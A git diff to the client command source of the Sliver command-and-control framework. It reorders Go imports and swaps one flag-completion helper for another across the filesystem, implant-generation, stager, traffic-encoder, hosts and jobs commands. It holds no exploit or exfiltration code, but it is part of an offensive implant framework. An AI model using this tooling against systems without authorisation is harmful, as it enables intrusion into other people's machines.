import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // ExtensionsListCmd - List all extension loaded on the active session/beacon. diff --git a/client/command/extensions/load.go b/client/command/extensions/load.go index 48a666f6d3..45aad1f814 100644 --- a/client/command/extensions/load.go +++ b/client/command/extensions/load.go @@ -30,6 +30,12 @@ import ( "strconv" "strings" + appConsole "github.com/reeflective/console" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" @@ -38,11 +44,6 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" - appConsole "github.com/reeflective/console" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "google.golang.org/protobuf/proto" ) const ( diff --git a/client/command/extensions/remove.go b/client/command/extensions/remove.go index d64dc15334..14f895fe42 100644 --- a/client/command/extensions/remove.go +++ b/client/command/extensions/remove.go @@ -25,10 +25,11 @@ import ( "path/filepath" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/util" - "github.com/spf13/cobra" ) // ExtensionsRemoveCmd - Remove an extension. diff --git a/client/command/filesystem/cat.go b/client/command/filesystem/cat.go index 63dc0a1d6d..351b1c0d8b 100644 --- a/client/command/filesystem/cat.go +++ b/client/command/filesystem/cat.go @@ -27,13 +27,14 @@ import ( "github.com/alecthomas/chroma/formatters" "github.com/alecthomas/chroma/lexers" "github.com/alecthomas/chroma/styles" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util/encoders" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // CatCmd - Display the contents of a remote file. diff --git a/client/command/filesystem/cd.go b/client/command/filesystem/cd.go index 22e763d654..f5e307ced9 100644 --- a/client/command/filesystem/cd.go +++ b/client/command/filesystem/cd.go @@ -21,11 +21,12 @@ package filesystem import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // CdCmd - Change directory on the remote system. diff --git a/client/command/filesystem/chmod.go b/client/command/filesystem/chmod.go index 4180969f26..4d086cf419 100644 --- a/client/command/filesystem/chmod.go +++ b/client/command/filesystem/chmod.go @@ -20,11 +20,12 @@ package filesystem import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // ChmodCmd - Change the permissions of a file on the remote file system. diff --git a/client/command/filesystem/chown.go b/client/command/filesystem/chown.go index c43b2daa1d..ba941a8a34 100644 --- a/client/command/filesystem/chown.go +++ b/client/command/filesystem/chown.go @@ -20,11 +20,12 @@ package filesystem import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // ChownCmd - Change the owner of a file on the remote file system. diff --git a/client/command/filesystem/chtimes.go b/client/command/filesystem/chtimes.go index 8035496f92..562b9fd8ca 100644 --- a/client/command/filesystem/chtimes.go +++ b/client/command/filesystem/chtimes.go @@ -21,11 +21,12 @@ import ( "context" "time" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // ChtimesCmd - Change the access and modified time of a file on the remote file system. diff --git a/client/command/filesystem/commands.go b/client/command/filesystem/commands.go index caa8f8c9c7..0159c4982c 100644 --- a/client/command/filesystem/commands.go +++ b/client/command/filesystem/commands.go @@ -1,14 +1,16 @@ package filesystem import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -166,7 +168,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.BoolP("recurse", "r", false, "recursively download all files in a directory") f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - flags.BindFlagCompletions(downloadCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(downloadCmd, func(comp *carapace.ActionMap) { (*comp)["type"] = loot.LootTypeCompleter(con) (*comp)["file-type"] = loot.FileTypeCompleter(con) }) diff --git a/client/command/filesystem/cp.go b/client/command/filesystem/cp.go index a5b994f791..7b6669e120 100644 --- a/client/command/filesystem/cp.go +++ b/client/command/filesystem/cp.go @@ -21,11 +21,12 @@ package filesystem import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) func CpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err error) { diff --git a/client/command/filesystem/download.go b/client/command/filesystem/download.go index 25f1f8b9a1..7803c804ce 100644 --- a/client/command/filesystem/download.go +++ b/client/command/filesystem/download.go @@ -28,14 +28,15 @@ import ( "strings" "time" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "gopkg.in/AlecAivazis/survey.v1" + "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util/encoders" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" - "gopkg.in/AlecAivazis/survey.v1" ) func DownloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/filesystem/ls.go b/client/command/filesystem/ls.go index a500c51191..578dac9ff5 100644 --- a/client/command/filesystem/ls.go +++ b/client/command/filesystem/ls.go @@ -27,13 +27,14 @@ import ( "text/tabwriter" "time" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "google.golang.org/protobuf/proto" ) // LsCmd - List the contents of a remote directory. diff --git a/client/command/filesystem/memfiles-add.go b/client/command/filesystem/memfiles-add.go index 715166c6de..7a7d00d324 100644 --- a/client/command/filesystem/memfiles-add.go +++ b/client/command/filesystem/memfiles-add.go @@ -20,11 +20,12 @@ package filesystem import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // MemfilesAddCmd - Add memfile. diff --git a/client/command/filesystem/memfiles-list.go b/client/command/filesystem/memfiles-list.go index 57ef191c8e..5e5df721a0 100644 --- a/client/command/filesystem/memfiles-list.go +++ b/client/command/filesystem/memfiles-list.go @@ -25,12 +25,13 @@ import ( "text/tabwriter" "time" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // MemfilesListCmd - List memfiles. diff --git a/client/command/filesystem/memfiles-rm.go b/client/command/filesystem/memfiles-rm.go index 4989ae4891..c10b1297ec 100644 --- a/client/command/filesystem/memfiles-rm.go +++ b/client/command/filesystem/memfiles-rm.go @@ -21,11 +21,12 @@ import ( "context" "strconv" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // MemfilesRmCmd - Remove a memfile. diff --git a/client/command/filesystem/mkdir.go b/client/command/filesystem/mkdir.go index 96607fd8de..f77e387f6e 100644 --- a/client/command/filesystem/mkdir.go +++ b/client/command/filesystem/mkdir.go @@ -21,11 +21,12 @@ package filesystem import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // MkdirCmd - Make a remote directory. diff --git a/client/command/filesystem/mv.go b/client/command/filesystem/mv.go index baa88c6ccf..aecf3af637 100644 --- a/client/command/filesystem/mv.go +++ b/client/command/filesystem/mv.go @@ -21,11 +21,12 @@ package filesystem import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) func MvCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err error) { diff --git a/client/command/filesystem/pwd.go b/client/command/filesystem/pwd.go index 4111f67888..24115a5179 100644 --- a/client/command/filesystem/pwd.go +++ b/client/command/filesystem/pwd.go @@ -21,11 +21,12 @@ package filesystem import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // PwdCmd - Print the remote working directory. diff --git a/client/command/filesystem/rm.go b/client/command/filesystem/rm.go index 20e775c2d2..c5eb4262f0 100644 --- a/client/command/filesystem/rm.go +++ b/client/command/filesystem/rm.go @@ -21,11 +21,12 @@ package filesystem import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // RmCmd - Remove a directory from the remote file system. diff --git a/client/command/filesystem/upload.go b/client/command/filesystem/upload.go index 7c39b485ec..fe6f88f312 100644 --- a/client/command/filesystem/upload.go +++ b/client/command/filesystem/upload.go @@ -25,12 +25,13 @@ import ( "os" "path/filepath" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util/encoders" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // UploadCmd - Upload a file to the remote system. diff --git a/client/command/flags/flags.go b/client/command/flags/flags.go index ea679082fe..99bcdfe936 100644 --- a/client/command/flags/flags.go +++ b/client/command/flags/flags.go @@ -4,7 +4,6 @@ import ( "strings" "github.com/reeflective/console" - "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" ) @@ -51,25 +50,3 @@ func RestrictTargets(filters ...string) map[string]string { console.CommandFilterKey: filts, } } - -// NewCompletions registers the command to the application completion engine and returns -// you a type through which you can register all sorts of completions for this command, -// from flag arguments, positional ones, per index or remaining, etc. -// -// See https://rsteube.github.io/carapace/ for a complete documentation of carapace completions. -func NewCompletions(cmd *cobra.Command) *carapace.Carapace { - return carapace.Gen(cmd) -} - -// BindFlagCompletions is a convenience function for binding completers to flags requiring arguments. -// (It wraps a few steps to be used through the *carapace.Carapace type so you don't have to bother). -// cmd - The target command/subcommand which flags to be completed. -// bind - A function using a map "flag-name":carapace.Action for you to bind completions to the flag. -// -// See https://rsteube.github.io/carapace/ for a complete documentation of carapace completions. -func BindFlagCompletions(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) { - comps := make(carapace.ActionMap) - bind(&comps) - - carapace.Gen(cmd).FlagCompletion(comps) -} diff --git a/client/command/generate/canaries.go b/client/command/generate/canaries.go index e8588eeb47..bbf729edf8 100644 --- a/client/command/generate/canaries.go +++ b/client/command/generate/canaries.go @@ -4,12 +4,13 @@ import ( "context" "fmt" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" ) // CanariesCmd - Display canaries from the database and their status. diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go index fb2a574674..ea60cff28a 100644 --- a/client/command/generate/commands.go +++ b/client/command/generate/commands.go @@ -1,13 +1,15 @@ package generate import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns all payload compilation commands. @@ -67,7 +69,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("save", "s", "", "directory to save the generated stager to") f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)") }) - flags.BindFlagCompletions(generateStagerCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(generateStagerCmd, func(comp *carapace.ActionMap) { (*comp)["save"] = carapace.ActionDirectories() (*comp)["os"] = carapace.ActionValues("windows", "linux", "darwin").Tag("msf stager OS") (*comp)["arch"] = carapace.ActionValues("amd64", "x86").Tag("msf stager archs") @@ -139,7 +141,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { flags.Bind("regenerate", false, regenerateCmd, func(f *pflag.FlagSet) { f.StringP("save", "s", "", "directory/file to the binary to") }) - flags.BindFlagCompletions(regenerateCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(regenerateCmd, func(comp *carapace.ActionMap) { (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") }) carapace.Gen(regenerateCmd).PositionalCompletion(ImplantBuildNameCompleter(con)) @@ -172,7 +174,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("save", "s", "", "directory/file to the binary to") f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") }) - flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(profilesGenerateCmd, func(comp *carapace.ActionMap) { (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") }) carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con)) @@ -255,7 +257,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.BoolP("only-beacons", "b", false, "filter beacons") f.BoolP("no-debug", "d", false, "filter builds by debug flag") }) - flags.BindFlagCompletions(implantBuildsCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(implantBuildsCmd, func(comp *carapace.ActionMap) { (*comp)["os"] = OSCompleter(con) (*comp)["arch"] = ArchCompleter(con) (*comp)["format"] = FormatCompleter() @@ -340,7 +342,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) { // coreImplantFlagCompletions binds completions to flags registered in coreImplantFlags. func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) { - flags.BindFlagCompletions(cmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(cmd, func(comp *carapace.ActionMap) { (*comp)["debug-file"] = carapace.ActionFiles() (*comp)["os"] = OSCompleter(con) (*comp)["arch"] = ArchCompleter(con) diff --git a/client/command/generate/generate-beacon.go b/client/command/generate/generate-beacon.go index 80add10c58..fc68a65b3d 100644 --- a/client/command/generate/generate-beacon.go +++ b/client/command/generate/generate-beacon.go @@ -5,9 +5,10 @@ import ( "os" "time" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) var ( diff --git a/client/command/generate/generate-info.go b/client/command/generate/generate-info.go index b5a656c334..ac01a6be40 100644 --- a/client/command/generate/generate-info.go +++ b/client/command/generate/generate-info.go @@ -3,9 +3,10 @@ package generate import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) // GenerateInfoCmd - Display information about the Sliver server's compiler configuration. diff --git a/client/command/generate/generate-stager.go b/client/command/generate/generate-stager.go index 88dffe3e7f..775ab17a18 100644 --- a/client/command/generate/generate-stager.go +++ b/client/command/generate/generate-stager.go @@ -27,9 +27,10 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // GenerateStagerCmd - Generate a stager using Metasploit. diff --git a/client/command/generate/generate.go b/client/command/generate/generate.go index 248b088845..a380f5f21d 100644 --- a/client/command/generate/generate.go +++ b/client/command/generate/generate.go @@ -33,13 +33,14 @@ import ( "time" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/spin" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/util" - "github.com/spf13/cobra" ) const ( diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index ad35682a83..25c58437f6 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -5,13 +5,14 @@ import ( "fmt" "strings" + "github.com/rsteube/carapace" + "github.com/rsteube/carapace/pkg/cache" + "github.com/rsteube/carapace/pkg/style" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/rsteube/carapace" - "github.com/rsteube/carapace/pkg/cache" - "github.com/rsteube/carapace/pkg/style" ) // GetSliverBinary - Get the binary of an implant based on it's profile. diff --git a/client/command/generate/implants-rm.go b/client/command/generate/implants-rm.go index 026edd8b31..935bbfef87 100644 --- a/client/command/generate/implants-rm.go +++ b/client/command/generate/implants-rm.go @@ -5,9 +5,10 @@ import ( "fmt" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // ImplantsRmCmd - Deletes an archived implant build from the server. diff --git a/client/command/generate/implants.go b/client/command/generate/implants.go index 12b6e65f3e..2336cf7449 100644 --- a/client/command/generate/implants.go +++ b/client/command/generate/implants.go @@ -23,13 +23,14 @@ import ( "fmt" "strings" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" ) // ImplantBuildFilter - Filter implant builds. diff --git a/client/command/generate/profiles-generate.go b/client/command/generate/profiles-generate.go index 9d00135f48..307bca8d54 100644 --- a/client/command/generate/profiles-generate.go +++ b/client/command/generate/profiles-generate.go @@ -24,8 +24,9 @@ import ( "path/filepath" "strings" - "github.com/bishopfox/sliver/client/console" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" ) // ProfilesGenerateCmd - Generate an implant binary based on a profile. diff --git a/client/command/generate/profiles-new.go b/client/command/generate/profiles-new.go index a46d659100..95b71a4cb3 100644 --- a/client/command/generate/profiles-new.go +++ b/client/command/generate/profiles-new.go @@ -20,9 +20,10 @@ package generate import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // ProfilesNewCmd - Create a new implant profile. diff --git a/client/command/generate/profiles-rm.go b/client/command/generate/profiles-rm.go index da748cc13f..3081e78196 100644 --- a/client/command/generate/profiles-rm.go +++ b/client/command/generate/profiles-rm.go @@ -23,9 +23,10 @@ import ( "fmt" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // ProfilesRmCmd - Delete an implant profile. diff --git a/client/command/generate/profiles.go b/client/command/generate/profiles.go index 72b1403402..d20e4d7d1d 100644 --- a/client/command/generate/profiles.go +++ b/client/command/generate/profiles.go @@ -24,14 +24,15 @@ import ( "math" "strings" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" ) // ProfilesCmd - Display implant profiles. diff --git a/client/command/generate/regenerate.go b/client/command/generate/regenerate.go index fe8c8d069b..a72f884351 100644 --- a/client/command/generate/regenerate.go +++ b/client/command/generate/regenerate.go @@ -22,9 +22,10 @@ import ( "context" "os" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // RegenerateCmd - Download an archived implant build/binary. diff --git a/client/command/generate/traffic-encoders.go b/client/command/generate/traffic-encoders.go index 593bd8cdbc..83d1797179 100644 --- a/client/command/generate/traffic-encoders.go +++ b/client/command/generate/traffic-encoders.go @@ -27,18 +27,19 @@ import ( "time" "github.com/AlecAivazis/survey/v2" - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" - consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/util" "github.com/gofrs/uuid" "github.com/jedib0t/go-pretty/v6/table" "github.com/spf13/cobra" "golang.org/x/text/cases" "golang.org/x/text/language" "google.golang.org/protobuf/proto" + + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/bishopfox/sliver/util" ) // TrafficEncodersCmd - Generate traffic encoders command implementation. diff --git a/client/command/history/history.go b/client/command/history/history.go index b67102f925..8578f909ca 100644 --- a/client/command/history/history.go +++ b/client/command/history/history.go @@ -23,13 +23,14 @@ import ( "strconv" "time" + "github.com/fatih/color" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/fatih/color" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns all commands related to implant history. diff --git a/client/command/hosts/commands.go b/client/command/hosts/commands.go index 49f1906872..dcb7f97b6a 100644 --- a/client/command/hosts/commands.go +++ b/client/command/hosts/commands.go @@ -1,12 +1,13 @@ package hosts import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/hosts/hosts-ioc-rm.go b/client/command/hosts/hosts-ioc-rm.go index 6624e635a6..42bd9500d5 100644 --- a/client/command/hosts/hosts-ioc-rm.go +++ b/client/command/hosts/hosts-ioc-rm.go @@ -21,8 +21,9 @@ package hosts import ( "context" - "github.com/bishopfox/sliver/client/console" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" ) // HostsIOCRmCmd - Remove a host from the database. diff --git a/client/command/hosts/hosts-ioc.go b/client/command/hosts/hosts-ioc.go index 4bc5657899..42154c7a75 100644 --- a/client/command/hosts/hosts-ioc.go +++ b/client/command/hosts/hosts-ioc.go @@ -26,10 +26,11 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/jedib0t/go-pretty/v6/table" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/clientpb" ) // HostsIOCCmd - Remove a host from the database. diff --git a/client/command/hosts/hosts-rm.go b/client/command/hosts/hosts-rm.go index 24e3272c36..6db5dd1846 100644 --- a/client/command/hosts/hosts-rm.go +++ b/client/command/hosts/hosts-rm.go @@ -21,8 +21,9 @@ package hosts import ( "context" - "github.com/bishopfox/sliver/client/console" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" ) // HostsRmCmd - Remove a host from the database. diff --git a/client/command/hosts/hosts.go b/client/command/hosts/hosts.go index d222d7b40a..996f92a9ae 100644 --- a/client/command/hosts/hosts.go +++ b/client/command/hosts/hosts.go @@ -29,12 +29,13 @@ import ( "time" "github.com/AlecAivazis/survey/v2" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" ) var ( diff --git a/client/command/info/commands.go b/client/command/info/commands.go index 72fa908b3e..0e3c5557cc 100644 --- a/client/command/info/commands.go +++ b/client/command/info/commands.go @@ -1,14 +1,15 @@ package info import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/info/info.go b/client/command/info/info.go index 5c079578b6..82c5062655 100644 --- a/client/command/info/info.go +++ b/client/command/info/info.go @@ -22,13 +22,14 @@ import ( "context" "time" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // InfoCmd - Display information about the active session. diff --git a/client/command/info/ping.go b/client/command/info/ping.go index c98c7ca75d..034366bf75 100644 --- a/client/command/info/ping.go +++ b/client/command/info/ping.go @@ -4,9 +4,10 @@ import ( "context" insecureRand "math/rand" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // PingCmd - Send a round trip C2 message to an implant (does not use ICMP). diff --git a/client/command/jobs/commands.go b/client/command/jobs/commands.go index 6e3b58f76c..252eb1f2a5 100644 --- a/client/command/jobs/commands.go +++ b/client/command/jobs/commands.go @@ -1,14 +1,16 @@ package jobs import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -31,7 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.BoolP("kill-all", "K", false, "kill all jobs") 